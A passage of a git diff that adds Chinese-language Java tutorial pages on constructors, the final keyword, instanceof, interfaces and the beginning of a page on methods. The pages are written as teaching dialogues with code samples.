构造方法不能是抽象的、静态的、最终的、同步的,也就是说,构造方法不能通过 abstract、static、final、synchronized 关键字修饰。 + +简单解析一下最后一条规则。 + +- 由于构造方法不能被子类继承,所以用 final 和 abstract 修饰没有意义; +- 构造方法用于初始化一个对象,所以用 static 修饰没有意义; +- 多个线程不会同时创建内存地址相同的同一个对象,所以用 synchronized 修饰没有必要。 + +构造方法的语法格式如下: + +```java +class class_name { + public class_name(){} // 默认无参构造方法 + public ciass_name([paramList]){} // 定义有参数列表的构造方法 + … + // 类主体 +} +``` + +值得注意的是,如果用 void 声明构造方法的话,编译时不会报错,但 Java 会把这个所谓的“构造方法”当成普通方法来处理。 + +```java +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/26 + */ +public class Demo { + void Demo(){ } +} +``` + +`void Demo(){}` 看起来很符合构造方法的写法(与类名相同),但其实只是一个不符合规范的普通方法,方法名的首字母使用了大写,方法体为空,它并不是默认的无参构造方法,可以通过反编译后的字节码验证。 + +```java +public class Demo { + public Demo() { + } + + void Demo() { + } +} +``` + +`public Demo() {}` 才是真正的无参构造方法。 + +不过,可以使用访问权限修饰符(private、protected、public、default)来修饰构造方法,访问权限修饰符决定了构造方法的创建方式。 + + +### 02、 什么是默认构造方法 + +如果一个构造方法中没有任何参数,那么它就是一个默认构造方法,也称为无参构造方法。 + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Bike { + Bike(){ + System.out.println("一辆自行车被创建"); + } + + public static void main(String[] args) { + Bike bike = new Bike(); + } +} +``` + +在上面这个例子中,我们为 Bike 类中创建了一个无参的构造方法,它在我们创建对象的时候被调用。 + +程序输出结果如下所示: + +``` +一辆自行车被创建 +``` + +通常情况下,无参构造方法是可以缺省的,我们开发者并不需要显式的声明无参构造方法,把这项工作交给编译器更轻松一些。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/18-01.png) + +“二哥,默认构造方法的目的是什么?它为什么是一个空的啊?”三妹疑惑地看着我,提出了这个尖锐的问题。 + +“三妹啊,默认构造方法的目的主要是为对象的字段提供默认值,看下面这个例子你就明白了。”我胸有成竹地回答道。 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class Person { + private String name; + private int age; + + public static void main(String[] args) { + Person p = new Person(); + System.out.println("姓名 " + p.name + " 年龄 " + p.age); + } +} +``` + +输出结果如下所示: + +``` +姓名 null 年龄 0 +``` + +在上面的例子中,默认构造方法初始化了 name 和 age 的值,name 是 String 类型,所以默认值为 null,age 是 int 类型,所以默认值为 0。如果没有默认构造方法的话,这项工作就无法完成了。 + + +### 03、什么是有参构造方法 + +有参数的构造方法被称为有参构造方法,参数可以有一个或多个。有参构造方法可以为不同的对象提供不同的值。当然,也可以提供相同的值。 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class ParamConstructorPerson { + private String name; + private int age; + + public ParamConstructorPerson(String name, int age) { + this.name = name; + this.age = age; + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) { + ParamConstructorPerson p1 = new ParamConstructorPerson("沉默王二",18); + p1.out(); + + ParamConstructorPerson p2 = new ParamConstructorPerson("沉默王三",16); + p2.out(); + } +} +``` + +在上面的例子中,构造方法有两个参数(name 和 age),这样的话,我们在创建对象的时候就可以直接为 name 和 age 赋值了。 + +```java +new ParamConstructorPerson("沉默王二",18); +new ParamConstructorPerson("沉默王三",16); +``` + +如果没有有参构造方法的话,就需要通过 setter 方法给字段赋值了。 + + +### 04、如何重载构造方法 + +在 Java 中,构造方法和方法类似,只不过没有返回类型。它也可以像方法一样被重载。构造方法的重载也很简单,只需要提供不同的参数列表即可。编译器会通过参数的数量来决定应该调用哪一个构造方法。 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class OverloadingConstrutorPerson { + private String name; + private int age; + private int sex; + + public OverloadingConstrutorPerson(String name, int age, int sex) { + this.name = name; + this.age = age; + this.sex = sex; + } + + public OverloadingConstrutorPerson(String name, int age) { + this.name = name; + this.age = age; + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age + " 性别 " + sex); + } + + public static void main(String[] args) { + OverloadingConstrutorPerson p1 = new OverloadingConstrutorPerson("沉默王二",18, 1); + p1.out(); + + OverloadingConstrutorPerson p2 = new OverloadingConstrutorPerson("沉默王三",16); + p2.out(); + } +} +``` + +创建对象的时候,如果传递的是三个参数,那么就会调用 `OverloadingConstrutorPerson(String name, int age, int sex)` 这个构造方法;如果传递的是两个参数,那么就会调用 `OverloadingConstrutorPerson(String name, int age)` 这个构造方法。 + + +### 05、构造方法和方法有什么区别 + +构造方法和方法之间的区别还是蛮多的,比如说下面这些: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/18-02.png) + + + +### 06、如何复制对象 + +复制一个对象可以通过下面三种方式完成: + +- 通过构造方法 +- 通过对象的值 +- 通过 Object 类的 `clone()` 方法 + +1)通过构造方法 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class CopyConstrutorPerson { + private String name; + private int age; + + public CopyConstrutorPerson(String name, int age) { + this.name = name; + this.age = age; + } + + public CopyConstrutorPerson(CopyConstrutorPerson person) { + this.name = person.name; + this.age = person.age; + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) { + CopyConstrutorPerson p1 = new CopyConstrutorPerson("沉默王二",18); + p1.out(); + + CopyConstrutorPerson p2 = new CopyConstrutorPerson(p1); + p2.out(); + } +} +``` + +在上面的例子中,有一个参数为 CopyConstrutorPerson 的构造方法,可以把该参数的字段直接复制到新的对象中,这样的话,就可以在 new 关键字创建新对象的时候把之前的 p1 对象传递过去。 + +2)通过对象的值 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class CopyValuePerson { + private String name; + private int age; + + public CopyValuePerson(String name, int age) { + this.name = name; + this.age = age; + } + + public CopyValuePerson() { + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) { + CopyValuePerson p1 = new CopyValuePerson("沉默王二",18); + p1.out(); + + CopyValuePerson p2 = new CopyValuePerson(); + p2.name = p1.name; + p2.age = p1.age; + + p2.out(); + } +} +``` + +这种方式比较粗暴,直接拿 p1 的字段值复制给 p2 对象(`p2.name = p1.name`)。 + +3)通过 Object 类的 `clone()` 方法 + +```java +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class ClonePerson implements Cloneable { + private String name; + private int age; + + public ClonePerson(String name, int age) { + this.name = name; + this.age = age; + } + + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) throws CloneNotSupportedException { + ClonePerson p1 = new ClonePerson("沉默王二",18); + p1.out(); + + ClonePerson p2 = (ClonePerson) p1.clone(); + p2.out(); + } +} +``` + +通过 `clone()` 方法复制对象的时候,ClonePerson 必须先实现 Cloneable 接口的 `clone()` 方法,然后再调用 `clone()` 方法(`ClonePerson p2 = (ClonePerson) p1.clone()`)。 + +### 07、ending + +“二哥,我能问一些问题吗?”三妹精神焕发,没有丝毫的疲惫。 + +“当然可以啊,你问。”我很欣赏三妹孜孜不倦的态度。 + +“构造方法真的不返回任何值吗?” + +“构造方法虽然没有返回值,但返回的是类的对象。” + +“构造方法只能完成字段初始化的工作吗?” + +“初始化字段只是构造方法的一种工作,它还可以做更多,比如启动线程,调用其他方法等。” + +“好的,二哥,我的问题问完了,今天的学习可以结束了!”三妹一脸得意的样子。 + +“那你记得复习下一节的内容哦。”感受到三妹已经学到了知识,我也很欣慰。 \ No newline at end of file diff --git a/docs/oo/final.md b/docs/oo/final.md new file mode 100644 index 0000000000..5068d51ceb --- /dev/null +++ b/docs/oo/final.md @@ -0,0 +1,211 @@ + +“哥,今天学什么呢?” + +“今天学一个重要的关键字——final。 ”我面带着朴实无华的微笑回答着她,“对了,三妹,你打算考研吗?” + +“还没想过,我今年才大一呢,到时候再说吧,你决定。” + +“好吧。”我摊摊手,表示很无辜,真的是所有的决定都交给我这个哥哥了,如果决定错了,锅得背上。 + +### 01、final 变量 + +“好了,我们先来看 final 修饰的变量吧!” + +“被 final 修饰的变量无法重新赋值。换句话说,final 变量一旦初始化,就无法更改。” + +“来看这行代码。” + +```java +final int age = 18; +``` + +“当尝试将 age 的值修改为 30 的时候,编译器就生气了。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/23-01.png) + +“再来看这段代码。” + +```java +public class Pig { + private String name; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} +``` + +“这是一个很普通的 Java 类,它有一个字段 name。” + +“然后,我们创建一个测试类,并声明一个 final 修饰的 Pig 对象。” + +```java +final Pig pig = new Pig(); +``` + +“如果尝试将 pig 重新赋值的话,编译器同样会生气。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/23-02.png) + +“但我们仍然可以去修改 pig 对象的 name。” + +```java +final Pig pig = new Pig(); +pig.setName("特立独行"); +System.out.println(pig.getName()); // 特立独行 +``` + +“另外,final 修饰的成员变量必须有一个默认值,否则编译器将会提醒没有初始化。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/23-03.png) + +“final 和 static 一起修饰的成员变量叫做常量,常量名必须全部大写。” + +```java +public class Pig { + private final int age = 1; + public static final double PRICE = 36.5; +} +``` + +“有时候,我们还会用 final 关键字来修饰参数,它意味着参数在方法体内不能被再修改。” + +“来看下面这段代码。” + +```java +public class ArgFinalTest { + public void arg(final int age) { + } + + public void arg1(final String name) { + } +} +``` + +“如果尝试去修改它的话,编译器会提示以下错误。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/23-04.png) + +### 02、final 方法 + +“被 final 修饰的方法不能被重写。如果我们在设计一个类的时候,认为某些方法不应该被重写,就应该把它设计成 final 的。” + +“Thread 类就是一个例子,它本身不是 final 的,这意味着我们可以扩展它,但它的 `isAlive()` 方法是 final 的。” + +```java +public class Thread implements Runnable { + public final native boolean isAlive(); +} +``` +“需要注意的是,该方法是一个本地(native)方法,用于确认线程是否处于活跃状态。而本地方法是由操作系统决定的,因此重写该方法并不容易实现。” + +“来看这段代码。” + +```java +public class Actor { + public final void show() { + + } +} +``` + +“当我们想要重写该方法的话,就会出现编译错误。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/23-05.png) + +“如果一个类中的某些方法要被其他方法调用,则应考虑事被调用的方法称为 final 方法,否则,重写该方法会影响到调用方法的使用。” + +“三妹,来问你一个问题吧。”正想趁三妹回答问题的时候喝口水。 + +“你说吧,哥。” + +“一个类是 final 的,和一个类不是 final,但它所有的方法都是 final 的,考虑一下,它们之间有什么区别?” + +“我能想到的一点,就是前者不能被继承,也就是说方法无法被重写;后者呢,可以被继承,然后追加一些非 final 的方法。”还没等我把水咽下去,三妹就回答好了,着实惊呆了我。 + +“嗯嗯嗯,没毛病没毛病,进步很大啊!” + +“那必须啊,谁叫我是你妹呢。” + +### 03、final 类 + +“如果一个类使用了 final 关键字修饰,那么它就无法被继承.....” + +“等等,哥,我知道,String 类就是一个 final 类。”还没等我说完,三妹就抢着说到。 + +“说得没毛病。” + +```java +public final class String + implements java.io.Serializable, Comparable, CharSequence, + Constable, ConstantDesc {} +``` + +“那三妹你知道为什么 String 类要设计成 final 吗?” + +“这个还真不知道。”三妹的表情透露出这种无奈。 + +“原因大致有 3 个。” + +- 为了实现字符串常量池 +- 为了线程安全 +- 为了 HashCode 的不可变性 + +“想了解更详细的原因,可以一会看看我之前写的这篇文章。” + +[为什么 Java 字符串是不可变的?](https://mp.weixin.qq.com/s/CRQrm5zGpqWxYL_ztk-b2Q) + +“任何尝试从 final 类继承的行为将会引发编译错误。来看这段代码。” + +```java +public final class Writer { + private String name; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} +``` + +“尝试去继承它,编译器会提示以下错误,Writer 类是 final 的,无法继承。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/keywords/23-06.png) + +“不过,类是 final 的,并不意味着该类的对象是不可变的。” + +“来看这段代码。” + +```java +Writer writer = new Writer(); +writer.setName("沉默王二"); +System.out.println(writer.getName()); // 沉默王二 +``` + +“Writer 的 name 字段的默认值是 null,但可以通过 settter 方法将其更改为沉默王二。也就是说,如果一个类只是 final 的,那么它并不是不可变的全部条件。” + +“关于不可变类,我之前也单独讲过一篇,你一会去看看。” + +[不可变类](https://mp.weixin.qq.com/s/wbdV9rV60AwWiiTEBYPP7g) + +“把一个类设计成 final 的,有其安全方面的考虑,但不应该故意为之,因为把一个类定义成 final 的,意味着它没办法继承,假如这个类的一些方法存在一些问题的话,我们就无法通过重写的方式去修复它。” + + +------ + +“三妹,final 关键字我们就学到这里吧,你一会再学习一下 Java 字符串为什么是不可变的和不可变类。”我揉一揉犯困的双眼,疲惫地给三妹说,“学完这两个知识点,你会对 final 的认知更清晰一些。” + +“好的,二哥,我这就去学习去。你去休息会。” + +我起身站到阳台上,看着窗外的车水马龙,不一会儿,就发起来呆。 + +“好想去再看一场周杰伦的演唱会,不知道 2021 有没有这个机会。” + +我心里这样想着,天渐渐地暗了下来。 \ No newline at end of file diff --git a/docs/oo/instanceof.md b/docs/oo/instanceof.md new file mode 100644 index 0000000000..f6f83c209c --- /dev/null +++ b/docs/oo/instanceof.md @@ -0,0 +1,140 @@ + + +instanceof 关键字的用法其实很简单: + +```java +(object) instanceof (type) +``` + +用意也非常简单,判断对象是否符合指定的类型,结果要么是 true,要么是 false。在反序列化的时候,instanceof 操作符还是蛮常用的,因为这时候我们不太确定对象属不属于指定的类型,如果不进行判断的话,就容易抛出 ClassCastException 异常。 + +我们来建这样一个简单的类 Round: + +```java +class Round { +} +``` + +然后新增一个扩展类 Ring: + +```java +class Ring extends Round { +} +``` + +这时候,我们就可以通过 instanceof 来检查 Ring 对象是否属于 Round 类型。 + +```java +Ring ring = new Ring(); +System.out.println(ring instanceof Round); +``` + +结果会输出 true,因为 Ring 继承了 Round,也就意味着 Ring 和 Round 符合 ` is-a` 的关系,而 instanceof 操作符正是基于类与类之间的继承关系,以及类与接口之间的实现关系的。 + +我们再来新建一个接口 Shape: + +```java +interface Shape { +} +``` + +然后新建 Circle 类实现 Shape 接口并继承 Round 类: + +```java +class Circle extends Round implements Shape { +} +``` + +如果对象是由该类创建的,那么 instanceof 的结果肯定为 true。 + +```java +Circle circle = new Circle(); +System.out.println(circle instanceof Circle); +``` + +这个肯定没毛病,instanceof 就是干这个活的,大家也很好理解。那如果类型是父类呢? + +```java +System.out.println(circle instanceof Round); +``` + +结果肯定还是 true,因为依然符合 `is-a` 的关系。那如果类型为接口呢? + +```java +System.out.println(circle instanceof Shape); +``` + +结果仍然为 true, 因为也符合 `is-a` 的关系。如果要比较的对象和要比较的类型之间没有关系,当然是不能使用 instanceof 进行比较的。 + +为了验证这一点,我们来创建一个实现了 Shape 但与 Circle 无关的 Triangle 类: + +``` java +class Triangle implements Shape { +} +``` + +这时候,再使用 instanceof 进行比较的话,编译器就报错了。 + +```java + System.out.println(circle instanceof Triangle); +``` + +错误信息如下所示: + +``` +Inconvertible types; cannot cast 'com.itwanger.twentyfour.instanceof1.Circle' to 'com.itwanger.twentyfour.instanceof1.Triangle' +``` + +意思就是类型不匹配,不能转换,我们使用 instanceof 比较的目的,也就是希望如果结果为 true 的时候能进行类型转换。但显然 Circle 不能转为 Triangle。 + +编译器已经提前帮我们预知了,很聪明。 + +Java 是一门面向对象的编程语言,也就意味着除了基本数据类型,所有的类都会隐式继承 Object 类。所以下面的结果肯定也会输出 true。 + +```java +Thread thread = new Thread(); +System.out.println(thread instanceof Object); +``` + +“那如果对象为 null 呢?”三妹这时候插话了。 + +“这个还真的是一个好问题啊。”我忍不住对三妹竖了一个大拇指。 + +```java +System.out.println(null instanceof Object); +``` + +只有对象才会有 null 值,所以编译器是不会报错的,只不过,对于 null 来说,instanceof 的结果为 false。因为所有的对象都可以为 null,所以也不好确定 null 到底属于哪一个类。 + +通常,我们是这样使用 instanceof 操作符的。 + +```java +// 先判断类型 +if (obj instanceof String) { + // 然后强制转换 + String s = (String) obj; + // 然后才能使用 +} +``` + +先用 instanceof 进行类型判断,然后再把 obj 强制转换成我们期望的类型再进行使用。 + +JDK 16 的时候,instanceof 模式匹配转了正,意味着使用 instanceof 的时候更便捷了。 + +```java +if (obj instanceof String s) { + // 如果类型匹配 直接使用 s +} +``` + +可以直接在 if 条件判断类型的时候添加一个变量,就不需要再强转和声明新的变量了。 + +“哇,这样就简洁了呀!”三妹不仅惊叹到! + +好了,关于 instanceof 操作符我们就先讲到这吧,难是一点都不难,希望各位同学也能够很好的掌握。 + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/oo/interface.md b/docs/oo/interface.md new file mode 100644 index 0000000000..dd152420b4 --- /dev/null +++ b/docs/oo/interface.md @@ -0,0 +1,327 @@ + + +“哥,我看你朋友圈说《Java 程序员进阶之路》专栏收到了第一笔赞赏呀,虽然只有一块钱,但我也替你感到开心。”三妹的脸上洋溢着自信的微笑,仿佛这钱是打给她的一样。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/interface-01.png) + +“是啊,早上起来的时候看到这条信息,还真的是挺开心的,虽然只有一块钱,但是开源的第一笔,也是我人生当中的第一笔,真的非常感谢这个读者,值得纪念的一天。”我自己也掩饰不住内心的激动。 + +“有了这份鼓励,我相信你更新下去的动力更足了!”三妹今天说的话真的是特别令人喜欢。 + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/interface-02.png) + +“是啊是啊,所以,今天要更新第 26 讲了——接口。”我接着说,“对于面向对象编程来说,抽象是一个极具魅力的特征。如果一个程序员的抽象思维很差,那他在编程中就会遇到很多困难,无法把业务变成具体的代码。在 Java 中,可以通过两种形式来达到抽象的目的,一种上一篇的主角——[抽象类](https://mp.weixin.qq.com/s/WSmGwdtlimIFVVDVKfvrWQ),另外一种就是今天的主角——接口。” + +---------- + +“接口是什么呀?”三妹顺着我的话题及时的插话到。 + +接口通过 interface 关键字来定义,它可以包含一些常量和方法,来看下面这个示例。 + +```java +public interface Electronic { + // 常量 + String LED = "LED"; + + // 抽象方法 + int getElectricityUse(); + + // 静态方法 + static boolean isEnergyEfficient(String electtronicType) { + return electtronicType.equals(LED); + } + + // 默认方法 + default void printDescription() { + System.out.println("电子"); + } +} +``` + +来看一下这段代码反编译后的字节码。 + +```java +public interface Electronic +{ + + public abstract int getElectricityUse(); + + public static boolean isEnergyEfficient(String electtronicType) + { + return electtronicType.equals("LED"); + } + + public void printDescription() + { + System.out.println("\u7535\u5B50"); + } + + public static final String LED = "LED"; +} +``` + +发现没?接口中定义的所有变量或者方法,都会自动添加上 `public` 关键字。 + +接下来,我来一一解释下 Electronic 接口中的核心知识点。 + +1)接口中定义的变量会在编译的时候自动加上 `public static final` 修饰符(注意看一下反编译后的字节码),也就是说上例中的 LED 变量其实就是一个常量。 + +Java 官方文档上有这样的声明: + +>Every field declaration in the body of an interface is implicitly public, static, and final. + +换句话说,接口可以用来作为常量类使用,还能省略掉 `public static final`,看似不错的一种选择,对吧? + +不过,这种选择并不可取。因为接口的本意是对方法进行抽象,而常量接口会对子类中的变量造成命名空间上的“污染”。 + +2)没有使用 `private`、`default` 或者 `static` 关键字修饰的方法是隐式抽象的,在编译的时候会自动加上 `public abstract` 修饰符。也就是说上例中的 `getElectricityUse()` 其实是一个抽象方法,没有方法体——这是定义接口的本意。 + +3)从 Java 8 开始,接口中允许有静态方法,比如说上例中的 `isEnergyEfficient()` 方法。 + +静态方法无法由(实现了该接口的)类的对象调用,它只能通过接口名来调用,比如说 `Electronic.isEnergyEfficient("LED")`。 + +接口中定义静态方法的目的是为了提供一种简单的机制,使我们不必创建对象就能调用方法,从而提高接口的竞争力。 + +4)接口中允许定义 `default` 方法也是从 Java 8 开始的,比如说上例中的 `printDescription()` 方法,它始终由一个代码块组成,为,实现该接口而不覆盖该方法的类提供默认实现。既然要提供默认实现,就要有方法体,换句话说,默认方法后面不能直接使用“;”号来结束——编译器会报错。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/interface-03.png) + +“为什么要在接口中定义默认方法呢?”三妹好奇地问到。 + +允许在接口中定义默认方法的理由很充分,因为一个接口可能有多个实现类,这些类就必须实现接口中定义的抽象类,否则编译器就会报错。假如我们需要在所有的实现类中追加某个具体的方法,在没有 `default` 方法的帮助下,我们就必须挨个对实现类进行修改。 + +由之前的例子我们就可以得出下面这些结论: + +- 接口中允许定义变量 +- 接口中允许定义抽象方法 +- 接口中允许定义静态方法(Java 8 之后) +- 接口中允许定义默认方法(Java 8 之后) + +除此之外,我们还应该知道: + +1)接口不允许直接实例化,否则编译器会报错。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/interface-04.png) + +需要定义一个类去实现接口,见下例。 + +```java +public class Computer implements Electronic { + + public static void main(String[] args) { + new Computer(); + } + + @Override + public int getElectricityUse() { + return 0; + } +} +``` + +然后再实例化。 + +``` +Electronic e = new Computer(); +``` + +2)接口可以是空的,既可以不定义变量,也可以不定义方法。最典型的例子就是 Serializable 接口,在 `java.io` 包下。 + +```java +public interface Serializable { +} +``` + +Serializable 接口用来为序列化的具体实现提供一个标记,也就是说,只要某个类实现了 Serializable 接口,那么它就可以用来序列化了。 + +3)不要在定义接口的时候使用 final 关键字,否则会报编译错误,因为接口就是为了让子类实现的,而 final 阻止了这种行为。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/interface-05.png) + +4)接口的抽象方法不能是 private、protected 或者 final,否则编译器都会报错。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/interface-06.png) + +5)接口的变量是隐式 `public static final`(常量),所以其值无法改变。 + +“接口可以做什么呢?”三妹见缝插针,问的很及时。 + +第一,使某些实现类具有我们想要的功能,比如说,实现了 Cloneable 接口的类具有拷贝的功能,实现了 Comparable 或者 Comparator 的类具有比较功能。 + +Cloneable 和 Serializable 一样,都属于标记型接口,它们内部都是空的。实现了 Cloneable 接口的类可以使用 `Object.clone()` 方法,否则会抛出 CloneNotSupportedException。 + +```java +public class CloneableTest implements Cloneable { + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } + + public static void main(String[] args) throws CloneNotSupportedException { + CloneableTest c1 = new CloneableTest(); + CloneableTest c2 = (CloneableTest) c1.clone(); + } +} +``` + +运行后没有报错。现在把 `implements Cloneable` 去掉。 + +```java +public class CloneableTest { + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } + + public static void main(String[] args) throws CloneNotSupportedException { + CloneableTest c1 = new CloneableTest(); + CloneableTest c2 = (CloneableTest) c1.clone(); + + } +} +``` + +运行后抛出 CloneNotSupportedException: + +``` +Exception in thread "main" java.lang.CloneNotSupportedException: com.cmower.baeldung.interface1.CloneableTest + at java.base/java.lang.Object.clone(Native Method) + at com.cmower.baeldung.interface1.CloneableTest.clone(CloneableTest.java:6) + at com.cmower.baeldung.interface1.CloneableTest.main(CloneableTest.java:11) +``` + + +第二,Java 原则上只支持单一继承,但通过接口可以实现多重继承的目的。 + +如果有两个类共同继承(extends)一个父类,那么父类的方法就会被两个子类重写。然后,如果有一个新类同时继承了这两个子类,那么在调用重写方法的时候,编译器就不能识别要调用哪个类的方法了。这也正是著名的菱形问题,见下图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/interface-07.png) + + +简单解释下,ClassC 同时继承了 ClassA 和 ClassB,ClassC 的对象在调用 ClassA 和 ClassB 中重写的方法时,就不知道该调用 ClassA 的方法,还是 ClassB 的方法。 + +接口没有这方面的困扰。来定义两个接口,Fly 接口会飞,Run 接口会跑。 + +```java +public interface Fly { + void fly(); +} +public interface Run { + void run(); +} +``` + +然后让 Pig 类同时实现这两个接口。 + +```java +public class Pig implements Fly,Run{ + @Override + public void fly() { + System.out.println("会飞的猪"); + } + + @Override + public void run() { + System.out.println("会跑的猪"); + } +} +``` + +在某种形式上,接口实现了多重继承的目的:现实世界里,猪的确只会跑,但在雷军的眼里,站在风口的猪就会飞,这就需要赋予这只猪更多的能力,通过抽象类是无法实现的,只能通过接口。 + +第三,实现多态。 + +什么是多态呢?通俗的理解,就是同一个事件发生在不同的对象上会产生不同的结果,鼠标左键点击窗口上的 X 号可以关闭窗口,点击超链接却可以打开新的网页。 + +多态可以通过继承(`extends`)的关系实现,也可以通过接口的形式实现。 + +Shape 接口表示一个形状。 + +```java +public interface Shape { + String name(); +} +``` + +Circle 类实现了 Shape 接口,并重写了 `name()` 方法。 + +```java +public class Circle implements Shape { + @Override + public String name() { + return "圆"; + } +} +``` + +Square 类也实现了 Shape 接口,并重写了 `name()` 方法。 + +```java +public class Square implements Shape { + @Override + public String name() { + return "正方形"; + } +} +``` + +然后来看测试类。 + +```java +List shapes = new ArrayList<>(); +Shape circleShape = new Circle(); +Shape squareShape = new Square(); + +shapes.add(circleShape); +shapes.add(squareShape); + +for (Shape shape : shapes) { + System.out.println(shape.name()); +} +``` + +这就实现了多态,变量 circleShape、squareShape 的引用类型都是 Shape,但执行 `shape.name()` 方法的时候,Java 虚拟机知道该去调用 Circle 的 `name()` 方法还是 Square 的 `name()` 方法。 + +说一下多态存在的 3 个前提: + +1、要有继承关系,比如说 Circle 和 Square 都实现了 Shape 接口。 +2、子类要重写父类的方法,Circle 和 Square 都重写了 `name()` 方法。 +3、父类引用指向子类对象,circleShape 和 squareShape 的类型都为 Shape,但前者指向的是 Circle 对象,后者指向的是 Square 对象。 + +然后,我们来看一下测试结果: + +``` +圆 +正方形 +``` + +也就意味着,尽管在 for 循环中,shape 的类型都为 Shape,但在调用 `name()` 方法的时候,它知道 Circle 对象应该调用 Circle 类的 `name()` 方法,Square 对象应该调用 Square 类的 `name()` 方法。 + +“哦,我理解了哥。那我再问一下,抽象类和接口有什么差别呢?” + +“哇,三妹呀,你这个问题恰到好处,问到了点子上。”我不由得为三妹竖起了大拇指。 + +1)语法层面上 + +- 接口中不能有 private 和 protected 修饰的方法,抽象类中可以有。 +- 接口中的变量只能是隐式的常量,抽象类中可以有任意类型的变量。 +- 一个类只能继承一个抽象类,但却可以实现多个接口。 + +2)设计层面上 + +抽象类是对类的一种抽象,继承抽象类的子类和抽象类本身是一种 `is-a` 的关系。 + +接口是对类的某种行为的一种抽象,接口和类之间并没有很强的关联关系,举个例子来说,所有的类都可以实现 `Serializable` 接口,从而具有序列化的功能,但不能说所有的类和 Serializable 之间是 `is-a` 的关系。 + +-------- + +“好了,三妹,接口就学到这吧,下课,哈哈哈。”我抬起头看了看窗外,天气还真不错,希望五一的张家界也能晴空万里~ + +“嗯嗯,哥,休息下吧,我给你揉揉肩膀~~~~”不得不说,有个贴心的妹妹还真的是挺舒服。。。。。 + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/oo/method.md b/docs/oo/method.md new file mode 100644 index 0000000000..1bc91a41f1 --- /dev/null +++ b/docs/oo/method.md @@ -0,0 +1,223 @@ + + +“二哥,[上一节](https://mp.weixin.qq.com/s/UExby8GP3kSacCXliQw8pQ)学了对象和类,这一节我们学什么呢?”三妹满是期待的问我。 + +“这一节我们来了解一下 Java 中的方法——什么是方法?如何声明方法?方法有哪几种?什么是实例方法?什么是抽象方法?”我笑着对三妹说,“我开始了啊,你不要闪啊。” + +### 01、Java 中的方法是什么? + +方法用来实现代码的可重用性,我们编写一次方法,并多次使用它。通过增加或者删除方法中的一部分代码,就可以提高整体代码的可读性。 + +只有方法被调用时,它才会执行。Java 中最有名的方法当属 `main()` 方法,点击下面的链接可以阅读更多关于 `main()` 方法的知识点。 + +>[零基础学 Java 第 4 讲:Hello World](https://mp.weixin.qq.com/s/191I_2CVOxVuyfLVtb4jhg) + + +### 02、如何声明方法? + +方法的声明反映了方法的一些信息,比如说可见性、返回类型、方法名和参数。如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/17-01.png) + +**访问权限**:它指定了方法的可见性。Java 提供了四种访问权限修饰符: + +- public:该方法可以被所有类访问。 +- private:该方法只能在定义它的类中访问。 +- protected:该方法可以被同一个包中的类,或者不同包中的子类访问。 +- default:该方法如果没有使用任何访问权限修饰符,Java 默认它使用 default 修饰符,该方法只能被同一个包中类可见。 + +**返回类型**:方法返回的数据类型,可以是基本数据类型、对象和集合,如果不需要返回数据,则使用 void 关键字。 + +**方法名**:方法名最好反应出方法的功能,比如,我们要创建一个将两个数字相减的方法,那么方法名最好是 subtract。 + +方法名最好是一个动词,并且以小写字母开头。如果方法名包含两个以上单词,那么第一个单词最好是动词,然后是形容词或者名词,并且要以驼峰式的命名方式命名。比如: + +- 一个单词的方法名:`sum()` +- 多个单词的方法名:`stringComparision()` + +一个方法可能与同一个类中的另外一个方法同名,这被称为方法重载。 + +**参数**:参数被放在一个圆括号内,如果有多个参数,可以使用逗号隔开。参数包含两个部分,参数类型和参数名。如果方法没有参数,圆括号是空的。 + 